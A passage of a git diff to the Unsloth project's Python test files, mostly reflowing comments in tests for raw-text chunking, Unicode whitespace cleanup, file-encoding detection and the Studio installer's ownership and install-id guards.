raw_text executes its `from datasets import Dataset`.+# Leaving it in sys.modules poisoned every later test module in the same session: `from datasets import IterableDataset`+# then raised ImportError and tests/utils/test_packing.py failed to collect._real_datasets = sys.modules.get("datasets")sys.modules["datasets"] = datasets_mocktry:@@ -114,12 +109,10 @@ def test_raw_text_loader():tokenizer = MockTokenizer()loader = RawTextDataLoader(tokenizer, chunk_size = 5, stride = 2)- # Text output (legacy mode).text_dataset = loader.load_from_file(test_file, return_tokenized = False)assert len(text_dataset) > 0, "Should create at least one chunk"assert "text" in text_dataset.column_names, "Dataset should have 'text' column"- # Tokenized output (new efficient mode).tokenized_dataset = loader.load_from_file(test_file, return_tokenized = True)assert len(tokenized_dataset) > 0, "Should create at least one tokenized chunk"assert (@@ -136,11 +129,9 @@ def test_raw_text_loader():first_sample["attention_mask"]), "input_ids and attention_mask should have same length"- # labels field (for causal LM training).assert "labels" in tokenized_dataset.column_names, "Dataset should have 'labels' column"assert first_sample["labels"] == first_sample["input_ids"], "labels should match input_ids"- # Constructor validation.try:bad_loader = RawTextDataLoader(tokenizer, chunk_size = 0, stride = 2)assert False, "Should raise ValueError for chunk_size=0"@@ -153,10 +144,9 @@ def test_raw_text_loader():except ValueError as e:assert "stride" in str(e) and "chunk_size" in str(e)- # smart_chunk_text validation: called directly, chunk_size/stride are its own- # arguments and bypass the constructor guard, so it must guard itself or an- # invalid stride makes `start_idx += chunk_size - stride` non-positive and the- # chunking loop never terminates (hangs).+ # smart_chunk_text validation: called directly, chunk_size/stride are its own arguments and bypass the+ # constructor guard, so it must guard itself or an invalid stride makes `start_idx += chunk_size - stride`+ # non-positive and the chunking loop never terminates (hangs).long_text = "This is a test file for raw text training. " * 10valid_chunks = loader.smart_chunk_text(long_text, chunk_size = 5, stride = 2)assert len(valid_chunks) > 0, "Valid stride should produce chunks"@@ -173,7 +163,6 @@ def test_raw_text_loader():except ValueError as e:assert "stride" in str(e) and "chunk_size" in str(e)- # Preprocessor.preprocessor = TextPreprocessor()clean_text = preprocessor.clean_text(" messy text \n\n\n ")assert "messy text" in clean_text, "Should clean text properly"@@ -182,8 +171,8 @@ def test_raw_text_loader():paragraph_text == "Line 1\n\nLine 2"), "Should preserve paragraph breaks while normalizing newlines"- # Non-ASCII horizontal whitespace (NBSP, thin/em/ideographic space, VT, FF) must- # normalize to one ASCII space, not be deleted, or adjacent words fuse on HTML/PDF/OCR input.+ # Non-ASCII horizontal whitespace (NBSP, thin/em/ideographic space, VT, FF) must normalize to one ASCII space,+ # not be deleted, or adjacent words fuse on HTML/PDF/OCR input.unicode_whitespace_cases = [("hello\u00a0world", "hello world"),("hello\u202fworld", "hello world"),@@ -198,13 +187,11 @@ def test_raw_text_loader():f"Should normalize Unicode/control whitespace to a single space " f"for {raw!r}")- # Mixed paragraph + Unicode whitespace.mixed = preprocessor.clean_text("Section\u00a01\r\n\r\nBody\ftext\u202fhere")assert (mixed == "Section 1\n\nBody text here"), "Should preserve paragraph breaks and normalize Unicode whitespace simultaneously"- # Tabs collapse to a single space.assert preprocessor.clean_text("a\tb") == "a b"assert preprocessor.clean_text("a\t\tb") == "a b"@@ -212,7 +199,6 @@ def test_raw_text_loader():assert preprocessor.clean_text("foo \n\n bar") == "foo\n\nbar"# Stripping a non-ASCII char between spaces must not leave a double space- # (also guards idempotence: otherwise "word1 (c) word2" needs a second pass).assert preprocessor.clean_text("word1 \u00a9 word2") == "word1 word2"assert preprocessor.clean_text("a \u00e9 b") == "a b"assert preprocessor.clean_text("prefix \U0001f600 suffix") == "prefix suffix"@@ -237,7 +223,6 @@ def test_raw_text_loader():twice = preprocessor.clean_text(once)assert once == twice, f"clean_text should be idempotent for {raw!r}"- # Validation.stats = preprocessor.validate_dataset(text_dataset)assert stats["total_samples"] > 0, "Should count samples"assert "warnings" in stats, "Should include warnings"@@ -340,7 +325,7 @@ def test_smart_chunk_text_empty_input_returns_no_chunks():return_tensors = None,add_special_tokens = False,):- token_ids = [ord(c) % 100 for c in text] # whitespace -> real tokens+ token_ids = [ord(c) % 100 for c in text]if return_tensors == "pt":return {"input_ids": [token_ids]}return {"input_ids": token_ids}diff --git a/tests/test_rl_config_compat.py b/tests/test_rl_config_compat.pyindex 4b002365948..cafa74eb21e 100644--- a/tests/test_rl_config_compat.py+++ b/tests/test_rl_config_compat.py@@ -445,10 +445,8 @@ def test_a_default_factory_field_is_compared_not_crashed_on():assert kept["include_for_metrics"] == []-# These two guard the wiring: reverting the rl.py template edit would leave-# every test above green. rl.py is read as text because importing it pulls in-# torch, trl and unsloth_zoo.-+# These two guard the wiring: reverting the rl.py template edit would leave every test above green.+# rl.py is read as text because importing it pulls in torch, trl and unsloth_zoo.RL_SOURCE = (REPO_ROOT / "unsloth" / "models" / "rl.py").read_text(encoding = "utf-8")@@ -498,8 +496,7 @@ def test_the_generated_file_imports_the_filter_with_a_safe_fallback():"from unsloth.models.rl_config_compat import filter_config_init_kwargs"" as _unsloth_filter_config_init_kwargs") in RL_SOURCE- # An import failure must degrade to the historical passthrough, never to a- # NameError inside a generated trainer.+ # An import failure must degrade to the historical passthrough, never to a NameError inside a generated trainer.assert ("def _unsloth_filter_config_init_kwargs(config_class, kwargs, **kw): return kwargs"in RL_SOURCEdiff --git a/tests/test_runtime_text_encoding.py b/tests/test_runtime_text_encoding.pyindex 42cc4ddcc41..8d4b2440d4c 100644--- a/tests/test_runtime_text_encoding.py+++ b/tests/test_runtime_text_encoding.py@@ -39,11 +39,13 @@ from pathlib import PathREPO = Path(__file__).resolve().parent.parent-# Everything that ships. `studio/` covers the installers too: install_python_stack.py-# reads /sys/class/kfd, the same detection path as utils/hardware/hardware.py. Test-# trees fall under the narrower import-time rule in test_source_read_encoding.py.+# Everything that ships.+# `studio/` covers the installers too: install_python_stack.py reads /sys/class/kfd, the same detection path as+# utils/hardware/hardware.py.+# Test trees fall under the narrower import-time rule in test_source_read_encoding.py.ROOTS = (REPO / "unsloth", REPO / "studio", REPO / "unsloth_cli")-# The frontend tree is TypeScript; node_modules is vendored third-party code.+# The frontend tree is TypeScript;+# node_modules is vendored third-party code.SKIP_DIRS = {"build", "dist", "frontend", "node_modules", "src-tauri", ".venv", "site-packages"}GUARDED_METHODS = {"read_text", "write_text"}# Path classes, so an unbound `Path.open(p)` shifts every argument one right.@@ -54,7 +56,7 @@ PLATFORM_DEFAULT_ENCODINGS = (None, "locale")PLATFORM_DEFAULT_CALLS = {"getdefaultencoding", "getencoding", "getpreferredencoding"}# Modules whose `open` IS the builtin: same signature, same platform default.BUILTIN_OPEN_MODULES = {"builtins", "io"}-# Take an encoding in "t" mode but default to "rb". Value is its positional slot.+# Take an encoding in "t" mode but default to "rb".COMPRESSED_OPENERS = {"bz2": 3, "gzip": 3, "lzma": None}# Distinct from None so that "no mode argument at all" still means text.UNKNOWN_MODE = object()@@ -62,8 +64,8 @@ UNKNOWN_MODE = object()def _mode(call: ast.Call, positional_index: int):"""The call's mode, or UNKNOWN_MODE when it is not a literal."""- # A splat hides the mode, so it is unknown rather than absent: falling through to- # "r" would flag a call that may resolve to binary, with no compliant way to fix it.+ # A splat hides the mode, so it is unknown rather than absent: falling through to "r" would flag a call that+ # may resolve to binary, with no compliant way to fix it.if any(isinstance(a, ast.Starred) for a in call.args):return UNKNOWN_MODEif any(kw.arg is None for kw in call.keywords):@@ -234,15 +236,13 @@ def _offender(func = call.funcif isinstance(func, ast.Attribute):receiver = func.value.id if isinstance(func.value, ast.Name) else None- # `Path.read_text(p)` is `p.read_text()` unbound: the instance takes slot 0,- # so every argument shifts one place right.+ # `Path.read_text(p)` is `p.read_text()` unbound: the instance takes slot 0, so every argument shifts+ # one place right.shift = 1 if _is_path_class(receiver, modules) or _is_path_attr(func.value) else 0if func.attr in GUARDED_METHODS:if func.attr == "read_text" and not shift and call.args:first = call.args[0]- # Bound read_text takes encoding first, so None or "locale" there is a- # platform-default read. Any other positional means the receiver is- # importlib.metadata's Distribution: a filename, and no encoding at all.+ # Bound read_text takes encoding first, so None or "locale" there is a platform-default read.if isinstance(first, ast.Constant) and first.value in PLATFORM_DEFAULT_ENCODINGS:return "read_text()"return None@@ -259,8 +259,8 @@ def _offender(if mode is UNKNOWN_MODE or "t" not in str(mode):return Nonereturn None if _names_encoding(call) else f"{compressed}.open()"- # Any other imported receiver is somebody else's opener: tarfile takes a- # compression mode, Image a binary file. Neither has an encoding to name.+ # Any other imported receiver is somebody else's opener: tarfile takes a compression mode, Image a+ # binary file. Neither has an encoding to name.if receiver is not None and receiver in modules and receiver not in PATH_CLASSES:return Noneif _foreign_receiver(func.value, modules) or receiver in foreign:@@ -318,7 +318,7 @@ def _tracked_sources():timeout = 60,)if listed.returncode != 0:- return None # not a checkout, so fall back to walking+ return Nonenames = listed.stdout.decode("utf-8", errors = "replace").split("\0")return [REPO / n for n in names if n]@@ -355,10 +355,8 @@ def test_shipping_code_names_an_encoding():)-# The assertion above passes vacuously once the trees are clean, so it cannot tell a-# working detector from one that always returns None. These pin the detector itself.--+# The assertion above passes vacuously once the trees are clean, so it cannot tell a working detector from one that+# always returns None. These pin the detector itself.def test_detects_the_plain_cases():assert _offenders_in("from pathlib import Path\np = Path('x')\ns = p.read_text()\n")assert _offenders_in("p.write_text('hi')\n")diff --git a/tests/test_source_read_encoding.py b/tests/test_source_read_encoding.pyindex 07af605fe0d..6426d82cfbe 100644--- a/tests/test_source_read_encoding.py+++ b/tests/test_source_read_encoding.py@@ -52,8 +52,8 @@ LC_ALL=C is the cheapest way to find them, since ASCII rejects every byte cp1252does and more."""-# `str | None` below is evaluated at import on Python 3.9 without this, and-# pyproject declares requires-python = ">=3.9,<3.15".+# `str | None` below is evaluated at import on Python 3.9 without this, and pyproject declares requires-python =+# ">=3.9,<3.15".from __future__ import annotationsimport ast@@ -63,10 +63,9 @@ from pathlib import PathTESTS = Path(__file__).resolve().parentREPO = TESTS.parent-# Both trees ship to Windows contributors, and separate CI jobs collect them-# (repo-cpu-tests and the studio-backend matrix), so the rule covers both.-# Not a hand-written list: studio/backend/hub/tests and unsloth/kernels/moe/tests-# are already here, and the next one has to be covered the day it lands.+# Both trees ship to Windows contributors, and separate CI jobs collect them (repo-cpu-tests and the studio-backend+# matrix), so the rule covers both. Not a hand-written list: studio/backend/hub/tests and unsloth/kernels/moe/tests are+# already here, and the next one has to be covered the day it lands.SKIP_DIRS = {".git", ".venv", "build", "dist", "frontend", "node_modules", "site-packages"}@@ -98,7 +97,7 @@ def _tracked_test_files(repo: Path):except (OSError, subprocess.SubprocessError):return Noneif listed.returncode != 0:- return None # not a checkout, so fall back to walking+ return Nonenames = listed.stdout.decode("utf-8", errors = "replace").split("\0")return [repo / name@@ -111,12 +110,10 @@ SOURCES = _tracked_test_files(REPO)if SOURCES is None:SOURCES = _walked_test_files(REPO)GUARDED_METHODS = {"read_text", "write_text"}-# Openers that are somebody else's are recognised by the file's own imports-# rather than a fixed list, so `import tarfile as tf` and `from PIL import-# Image` are both covered without naming either.-# These wrap their stream in a TextIOWrapper for a "t" mode, which takes the-# platform default exactly like builtin open. Unlike open they default to "rb",-# so only an explicit text mode is in scope. lzma takes encoding keyword-only.+# Openers that are somebody else's are recognised by the file's own imports rather than a fixed list, so `import tarfile+# as tf` and `from PIL import Image` are both covered without naming either. These wrap their stream in a TextIOWrapper+# for a "t" mode, which takes the platform default exactly like builtin open. Unlike open they default to "rb", so only+# an explicit text mode is in scope. lzma takes encoding keyword-only.COMPRESSED_OPENERS = {"bz2": 3, "gzip": 3, "lzma": None}# Wrappers that stay lazy, so draining one drains what it was given.LAZY_ADAPTERS = {"enumerate", "filter", "islice", "map", "reversed", "zip"}@@ -137,17 +134,16 @@ EAGER_CONSUMERS = {}# Values that re-select the platform default when passed as the encoding.PLATFORM_DEFAULT_ENCODINGS = (None, "locale")-# `Path.read_text(p)` is the unbound spelling of `p.read_text()`: same API, same-# platform default, but the instance takes the first slot so every argument-# shifts one place right.+# `Path.read_text(p)` is the unbound spelling of `p.read_text()`: same API, same platform default, but the instance+# takes the first slot so every argument shifts one place right.PATH_CLASSES = {"Path", "PosixPath", "PurePath", "WindowsPath"}# Modules whose `open` IS the builtin: same signature, same platform default.BUILTIN_OPEN_MODULES = {"builtins", "io"}# Receivers `self.SOURCE` and `cls.SOURCE` reach a class attribute through.SELF_NAMES = {"cls", "self"}# A module-level name is normally an anchor, since a fixture cannot reach one.-# These build a directory the run owns, so a name rooted in one is temp I/O-# however it is spelled, and the platform default there is harmless.+# These build a directory the run owns, so a name rooted in one is temp I/O however it is spelled, and the platform+# default there is harmless.TEMP_FACTORIES = {"NamedTemporaryFile","TemporaryDirectory",@@ -155,9 +151,7 @@ TEMP_FACTORIES = {"mkdtemp","mkstemp",}-# Functions that hand back a path still pointing at their first argument. An-# unlisted call is left unresolved: a helper may well return a temp copy of what-# it was given, and following it would put test-created files back in scope.+# Functions that hand back a path still pointing at their first argument.PATH_FUNCTIONS = {"abspath","dirname",@@ -187,8 +181,8 @@ PATH_METHODS = {ENCODING_POSITION = {"read_text": 0, "write_text": 1, "Path.open": 2, "open": 3}# Distinct from None so that "no mode argument at all" still means text.UNKNOWN_MODE = object()-# Stand-in for a file whose imports are not to hand, so every helper can be-# called on its own without pretending it knows what was imported.+# Stand-in for a file whose imports are not to hand, so every helper can be called on its own without pretending it+# knows what was imported.NO_MODULES: dict = {}@@ -279,10 +273,9 @@ def _import_time_calls(tree: ast.Module):so that is walked), and non-name calls, which are left unresolved ratherthan guessed at."""- # Defs reachable from a scope that executes at import: module body, any- # class body, and (added when the helper is entered) any def nested inside- # a helper we follow. `class F: def _load(): ...; DATA = _load()` runs- # _load while the class is constructed.+ # Defs reachable from a scope that executes at import: module body, any class body, and (added when the helper is+ # entered) any def nested inside a helper we follow.+ # `class F: def _load(): ...; DATA = _load()` runs _load while the class is constructed.helpers: dict = {}def _collect(body):@@ -329,9 +322,8 @@ def _import_time_calls(tree: ast.Module):func = node.funcif isinstance(func, ast.Name) and func.id in helpers and func.id not in entered:helper = helpers[func.id]- # `READS = _load(paths)` on a generator function only builds- # the generator, so its body waits for a consumer just as a- # genexp does.+ # `READS = _load(paths)` on a generator function only builds the generator, so its body waits for a+ # consumer just as a genexp does.if not _is_generator(helper) or id(node) in consumed:entered.add(func.id)body = list(helper.body)@@ -347,8 +339,8 @@ def _eagerly_consumed(tree: ast.Module) -> set:generator function. Neither runs its body until something pulls from it, soan unconsumed one has not happened yet."""- # `texts = (p.read_text() for p in ...)` then `list(texts)` consumes the- # generator through a name, so the name has to lead back to it.+ # `texts = (p.read_text() for p in ...)` then `list(texts)` consumes the generator through a name, so the name has+ # to lead back to it.named: dict = {}for node in ast.walk(tree):if isinstance(node, ast.Assign) and len(node.targets) == 1:@@ -462,8 +454,8 @@ def _module_level_names(tree: ast.Module) -> set:continuenames.update(_bound(node.target))elif isinstance(node, (ast.Import, ast.ImportFrom)):- # `start._CODEX_FALLBACK_PROMPT` is a path another module defines at- # its own module scope, so the import is an anchor like any constant.+ # `start._CODEX_FALLBACK_PROMPT` is a path another module defines at its own module scope, so the import is+ # an anchor like any constant.names.update((a.asname or a.name).split(".")[0] for a in node.names)return names@@ -483,8 +475,8 @@ def _local_names(func) -> set:while stack:node = stack.pop()if isinstance(node, (ast.ListComp, ast.SetComp, ast.DictComp, ast.GeneratorExp)):- # A comprehension target binds in its own scope, so it shadows- # nothing out here; the rest of the comprehension still does.+ # A comprehension target binds in its own scope, so it shadows nothing out here; the rest of the+ # comprehension still does.for gen in node.generators:stack.append(gen.iter)stack.extend(gen.ifs)@@ -550,8 +542,8 @@ def _imports_at_each_call(tree: ast.Module) -> dict:visible.update(_import_bindings(node))returnif isinstance(node, ast.If):- # Only a branch that certainly runs may bind a name for the code- # after it; the others are explored with a copy that is thrown away.+ # Only a branch that certainly runs may bind a name for the code after it; the others are explored with a+ # copy that is thrown away.taken = _static_truth(node.test)walk(node.test, visible)for arm, runs in ((node.body, taken is not False), (node.orelse, taken is not True)):@@ -687,16 +679,15 @@ def _path_root(node: ast.AST) -> ast.AST:node = node.valueelif isinstance(node, ast.Call):func = node.func- # `p.rglob("*.py")` anchors on p, not on the pattern, while- # Path(x), str(x) and os.path.join(x, ...) anchor on the argument.+ # `p.rglob("*.py")` anchors on p, not on the pattern, while Path(x), str(x) and os.path.join(x, ...) anchor+ # on the argument.if isinstance(func, ast.Attribute) and func.attr in PATH_METHODS:node = func.valueelif _is_path_preserving(func) and node.args:node = node.args[0]else:- # An unrecognised call says nothing about where its result- # points, so tempfile.mkdtemp() and a helper that copies its- # argument into a temp dir both stop here.+ # An unrecognised call says nothing about where its result points, so tempfile.mkdtemp() and a helper+ # that copies its argument into a temp dir both stop here.return nodeelse:return node@@ -711,8 +702,8 @@ def _is_checked_in_root() -> bool:"""True when a path expression anchors on something that ships in the repo."""if isinstance(node, (ast.Tuple, ast.List, ast.Set)):- # `for path in (MODEL_SELECTOR, APP_SIDEBAR)` is checked in when every- # element is, which is what makes the loop variable one too.+ # `for path in (MODEL_SELECTOR, APP_SIDEBAR)` is checked in when every element is, which is what makes the loop+ # variable one too.return bool(node.elts) and all(_is_checked_in_root(e.value if isinstance(e, ast.Starred) else e,@@ -725,15 +716,15 @@ def _is_checked_in_root()root = _path_root(node)if isinstance(root, ast.Constant) and isinstance(root.value, str):- # A relative literal naming something that exists here is checked in; a- # path the test creates at runtime is not in the tree to be found.+ # A relative literal naming something that exists here is checked in; a path the test creates at runtime is not+ # in the tree to be found.value = root.valueif not value or "\n" in value or "\0" in value or os.path.isabs(value):return Falsetry:return (REPO / value).exists()except OSError:- return False # too long to be a name, so not one+ return Falseif isinstance(root, ast.Attribute):# `self.SOURCE`, where the class body bound SOURCE to a checked-in path.return root.attr in attrs@@ -763,8 +754,8 @@ def _class_path_attrs(tree: ast.Module, module_names: set) -> set:else:continuebound = {t.id for t in targets if isinstance(t, ast.Name)}- # One attribute name, two classes, two meanings: only one of them is- # provable, so neither is claimed. Same rule as the local walk.+ # One attribute name, two classes, two meanings: only one of them is provable, so neither is claimed.+ # Same rule as the local walk.found = attrs if _is_checked_in_root(stmt.value, module_names, ()) else mixedfound.update(bound)return attrs - mixed@@ -826,8 +817,8 @@ def _checked_in_locals(target, value = node.targets[0], node.valuepaired = True # `A, B = P1, P2` lines its sides up element by elementelif isinstance(node, (ast.For, ast.AsyncFor, ast.comprehension)):- # `for p in SRC_DIR.rglob("*.py")` binds p to a checked-in path too,- # and `for name, path in CASES` binds both to the same iterable.+ # `for p in SRC_DIR.rglob("*.py")` binds p to a checked-in path too, and `for name, path in CASES` binds+ # both to the same iterable.target, value = node.target, node.iterelse:continue@@ -851,8 +842,8 @@ def _checked_in_locals(for name, value in assignmentsif name not in bad and _is_checked_in_root(value, module_names, shadowed, good)}- # A name assigned a checked-in path somewhere and something else- # elsewhere stays out, since only one of the two is provable.+ # A name assigned a checked-in path somewhere and something else elsewhere stays out, since only one of the two+ # is provable.grown -= {namefor name, value in assignments@@ -913,8 +904,8 @@ def _checked_in_params(tree: ast.Module, module_names: set) -> set:`_read` helper are two different functions, and merging them would let theone handed a tmp_path rule out what the other proves."""- # Every definition, plus which scope it was written in, so a call resolves- # to the nearest enclosing `def` of that name the way Python resolves it.+ # Every definition, plus which scope it was written in, so a call resolves to the nearest enclosing `def` of that+ # name the way Python resolves it.scope_of: dict = {}defs_in: dict = {}@@ -939,8 +930,8 @@ def _checked_in_params(tree: ast.Module, module_names: set) -> set:scope = scope_of.get(id(scope))return None- # Which function each call sits in, so a parameter already known to hold a- # checked-in path can be passed on to the next helper.+ # Which function each call sits in, so a parameter already known to hold a checked-in path can be passed on to the+ # next helper.owner: dict = {}def _mark(node, owning):@@ -951,8 +942,8 @@ def _checked_in_params(tree: ast.Module, module_names: set) -> set:_mark(child, child if nested else owning)_mark(tree, None)- # Which class body each call sits in, so `self._read(...)` resolves to that- # class's method and not a same-named one in a sibling class.+ # Which class body each call sits in, so `self._read(...)` resolves to that class's method and not a same-named one+ # in a sibling class.in_class: dict = {}def _mark_class(node, cls):@@ -978,8 +969,8 @@ def _checked_in_params(tree: ast.Module, module_names: set) -> set:for argname, values in _parametrized_values(fnode).items():ok = all(_is_checked_in_root(v, module_names, ()) for v in values)(grown if ok else bad).add((id(fnode), argname))- # What the calling function itself can prove, recomputed each pass so a- # parameter resolved last time can feed a local this time.+ # What the calling function itself can prove, recomputed each pass so a parameter resolved last time can feed a+ # local this time.scope: dict = {}for call in ast.walk(tree):if not isinstance(call, ast.Call):@@ -1010,8 +1001,7 @@ def _checked_in_params(tree: ast.Module, module_names: set) -> set:positional = [a.arg for a in [*func.args.posonlyargs, *func.args.args]]if bound:positional = positional[1:] # the receiver already fills `self`- # A keyword-only parameter never takes a positional slot, so it is- # matched by name alone.+ # A keyword-only parameter never takes a positional slot, so it is matched by name alone.params = positional + [a.arg for a in func.args.kwonlyargs]supplied = dict(zip(positional, call.args))supplied.update({k.arg: k.value for k in call.keywords if k.arg in params})@@ -1056,8 +1046,8 @@ def _checked_in_path_calls():if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)):shadowed = shadowed | _local_names(node)- # Seed with the parameters first: `p = root / "x.py"` is only- # derivable once `root` is known to hold a checked-in path.+ # Seed with the parameters first: `p = root / "x.py"` is only derivable once `root` is known to hold a+ # checked-in path.seeded = {p for f, p in params if f == id(node)}derived = _checked_in_locals(node, module_names, shadowed, seeded)elif _is_main_guard(node):@@ -1150,24 +1140,23 @@ def _offender(call: ast.Call, modules = NO_MODULES) -> str | None:func = call.funcif isinstance(func, ast.Attribute):receiver = func.value.id if isinstance(func.value, ast.Name) else None- # An unbound `Path.read_text(p)` puts the instance in slot 0, and- # `pathlib.Path.read_text(p)` is the same call fully qualified.+ # An unbound `Path.read_text(p)` puts the instance in slot 0, and `pathlib.Path.read_text(p)` is the same call+ # fully qualified.shift = 1 if _is_path_class(receiver, modules) or _is_path_attr(func.value) else 0if func.attr in GUARDED_METHODS:if func.attr == "read_text" and not shift and call.args:first = call.args[0]- # Bound read_text takes encoding first, so None or "locale"- # there is a platform-default read. Any other positional means- # the receiver is importlib.metadata's Distribution, whose- # argument is a filename and which takes no encoding at all.+ # Bound read_text takes encoding first, so None or "locale" there is a platform-default read.+ # Any other positional means the receiver is importlib.metadata's Distribution, whose argument is a+ # filename and which takes no encoding at all.if isinstance(first, ast.Constant) and first.value in PLATFORM_DEFAULT_ENCODINGS:return "read_text()"return Noneposition = ENCODING_POSITION[func.attr] + shiftreturn None if _pins_encoding(call, position) else f"{func.attr}()"if func.attr == "open":- # io.open and builtins.open ARE the builtin, so they take the- # builtin's argument positions and the same platform default.+ # io.open and builtins.open ARE the builtin, so they take the builtin's argument positions and the same+ # platform default.if receiver is not None and _origin_root(receiver, modules) in BUILTIN_OPEN_MODULES:if not _is_text(call, 1) or _pins_encoding(call, ENCODING_POSITION["open"]):return None@@ -1182,9 +1171,8 @@ def _offender(call: ast.Call, modules = NO_MODULES) -> str | None:if _pins_encoding(call, COMPRESSED_OPENERS[compressed])else f"{compressed}.open()")- # Any other module receiver is somebody else's opener: tarfile.open- # takes a compression mode, Image.open takes a binary file. Neither- # has an encoding to name, so demanding one leaves no correct edit.+ # Any other module receiver is somebody else's opener: tarfile.open takes a compression mode, Image.open+ # takes a binary file.if (receiver is not Noneand receiver in modulesdiff --git a/tests/test_st_subfolder_weights_are_fetched.py b/tests/test_st_subfolder_weights_are_fetched.pyindex 927e229dbcf..ec5cedb7786 100644--- a/tests/test_st_subfolder_weights_are_fetched.py+++ b/tests/test_st_subfolder_weights_are_fetched.py@@ -225,8 +225,8 @@ def test_an_older_unsloth_zoo_degrades_instead_of_crashing(modules_json):assert U._repo_has_weighted_st_subfolders("unsloth/embeddinggemma-300m") is Falsefinally:HCS._ST_WEIGHTED_MODULE_TYPES = saved- # ...and the taxonomy being back restores the fix, so the assertion above- # is about the missing name and not about a broken stub.+ # ...and the taxonomy being back restores the fix, so the assertion above is about the missing name and not about a+ # broken stub.assert U._repo_has_weighted_st_subfolders("unsloth/embeddinggemma-300m") is True@@ -245,8 +245,8 @@ def test_both_weights_at_root_call_sites_go_through_the_check():sites.append(f"{p.name}:{n}")assert sorted(s.split(":")[0] for s in sites) == ["llama.py", "vision.py"], sites- # AST, not grep: the name also appears in prose inside a docstring, and a- # text count would police the documentation instead of the code.+ # AST, not grep: the name also appears in prose inside a docstring, and a text count would police the documentation+ # instead of the code.import asttree = ast.parse(Path(U.__file__).read_text(encoding = "utf-8"))diff --git a/tests/test_studio_install_workspace_guard.py b/tests/test_studio_install_workspace_guard.pyindex c3c7a816c95..30ad4716a44 100644--- a/tests/test_studio_install_workspace_guard.py+++ b/tests/test_studio_install_workspace_guard.py@@ -47,8 +47,7 @@ def _extract_create_studio_shortcuts() -> str:raise AssertionError("could not slice create_studio_shortcuts from install.sh")-# Stub the rollback helper with a move. The directory predicate is extracted-# from install.sh because it controls whether the guard runs.+# Stub the rollback helper with a move._INSTALL_GUARD_STUBS = ('substep() { :; }\n_start_studio_venv_replacement() {\n mv -- "$1" "$1.replaced"\n}\n')@@ -289,7 +288,6 @@ def test_setup_ps1_prebuilt_llama_cpp_has_ownership_guard():'Assert-StudioOwnedOrAbsent -Path $LlamaCppDir -Label "llama.cpp install"' in block), "setup.ps1 must guard the prebuilt llama.cpp path with Assert-StudioOwnedOrAbsent"guard_idx = block.index("Assert-StudioOwnedOrAbsent -Path $LlamaCppDir")- # Anchor on the actual command-array entry, not the why-comment mention.helper_idx = block.index('"$PSScriptRoot\\install_llama_prebuilt.py"')assert (guard_idx < helper_idx@@ -298,8 +296,8 @@ def test_setup_ps1_prebuilt_llama_cpp_has_ownership_guard():def test_setup_ps1_adopts_existing_whisper_prebuilt_marker():text = SETUP_PS1.read_text(encoding = "utf-8")- # The marker scan lives in Get-StudioAdoptableState; Test-StudioOwnedAdoptable- # is the boolean view of it.+ # The marker scan lives in Get-StudioAdoptableState; Test-StudioOwnedAdoptable is the boolean+ # view of it.helper_start = text.index("function Get-StudioAdoptableState")helper_end = text.index("function Assert-StudioOwnedOrAbsent", helper_start)helper = text[helper_start:helper_end]@@ -415,8 +413,8 @@ def test_setup_helpers_gate_on_canonical_custom_root():ps_src = SETUP_PS1.read_text(encoding = "utf-8")ps_idx = ps_src.index("function Assert-StudioOwnedOrAbsent")- # To the end of the function, not a fixed width, which a new parameter or- # comment would push the assertions below out of.+ # To the end of the function, not a fixed width, which a new parameter or comment would push the assertions below+ # out of.ps_func = ps_src[ps_idx:].split("\nfunction ", 1)[0]assert ("$StudioHomeIsCustom -and" in ps_func@@ -429,9 +427,7 @@ def test_setup_helpers_gate_on_canonical_custom_root():def test_setup_ps1_inplace_git_sync_marks_studio_owned():"""setup.ps1 in-place git-sync branch must Mark-StudioOwned after a successful sync."""src = SETUP_PS1.read_text(encoding = "utf-8")- # Three-state probe so an ACL-denied tree stops instead of cloning over it.inplace_idx = src.index('if ($llamaGitState -eq "Present") {')- # The in-place branch ends just before the temp-dir clone branch.clone_idx = src.index("Cloning llama.cpp @", inplace_idx)inplace_block = src[inplace_idx:clone_idx]assert (@@ -447,6 +443,7 @@ def test_setup_ps1_inplace_git_sync_asserts_studio_owned_before_mutation():src = SETUP_PS1.read_text(encoding = "utf-8")# Three-state probe so an ACL-denied tree stops instead of cloning over it.inplace_idx = src.index('if ($llamaGitState -eq "Present") {')+ # The in-place branch ends just before the temp-dir clone branch.clone_idx = src.index("Cloning llama.cpp @", inplace_idx)inplace_block = src[inplace_idx:clone_idx]assert (@@ -576,7 +573,7 @@ def test_health_endpoint_exposes_studio_root_id_not_raw_path():main_py = REPO_ROOT / "studio" / "backend" / "main.py"src = main_py.read_text(encoding = "utf-8")health_idx = src.index('@app.get("/api/health")')- # Slice up to the next top-level @app. so a growing body stays in scope.+ # Slice up to the next top-level @app.next_app_idx = src.find("\n@app.", health_idx + 1)if next_app_idx == -1:next_app_idx = len(src)@@ -620,7 +617,6 @@ def test_tauri_preflight_scrubs_studio_home_env():commands = (REPO_ROOT / "studio" / "src-tauri" / "src" / "commands.rs").read_text(encoding = "utf-8")- # Expect 2 scrubs in preflight (run_cli_probe + probe_cli_capability), 1 in commands.assert (preflight.count('cmd.env_remove("UNSLOTH_STUDIO_HOME")') >= 2), "preflight must scrub UNSLOTH_STUDIO_HOME in both run_cli_probe and probe_cli_capability"@@ -630,6 +626,7 @@ def test_tauri_preflight_scrubs_studio_home_env():assert ('cmd.env_remove("UNSLOTH_STUDIO_HOME")' in commands), "commands.rs check_install_status must scrub UNSLOTH_STUDIO_HOME"+ # Expect 2 scrubs in preflight (run_cli_probe + probe_cli_capability), 1 in commands.assert ('cmd.env_remove("STUDIO_HOME")' in commands), "commands.rs check_install_status must scrub STUDIO_HOME"@@ -658,8 +655,8 @@ def test_install_sh_create_shortcuts_seeds_id_from_csprng_with_python_fallback(tassert (urandom_idx < py_fallback_idx), "/dev/urandom must be tried before the python3 secrets fallback"- # Reusing an existing id only when it is valid is what makes re-runs- # idempotent -- and keeps a pre-planted value out of the launcher.+ # Reusing an existing id only when it is valid is what makes re-runs idempotent -- and keeps a pre-planted value out+ # of the launcher.assert ('_css_studio_root_id=$(_css_read_valid_install_id "$_css_id_file")' in block), "install.sh must reuse an existing id only after validating it"@@ -765,8 +762,6 @@ def test_install_sh_id_publish_adopts_the_winner_of_a_race(tmp_path):incumbent = "a" * 64id_file.write_text(incumbent, encoding = "utf-8")- # Replicate the publish step with the guard removed, so only the publication- # primitive decides the outcome: a clobbering mv would overwrite the incumbent.publish = (_install_id_helpers() + f'_css_id_file="{id_file}"\n''_css_id_tmp="$_css_id_file.$$.tmp"\n'@@ -800,6 +795,7 @@ def 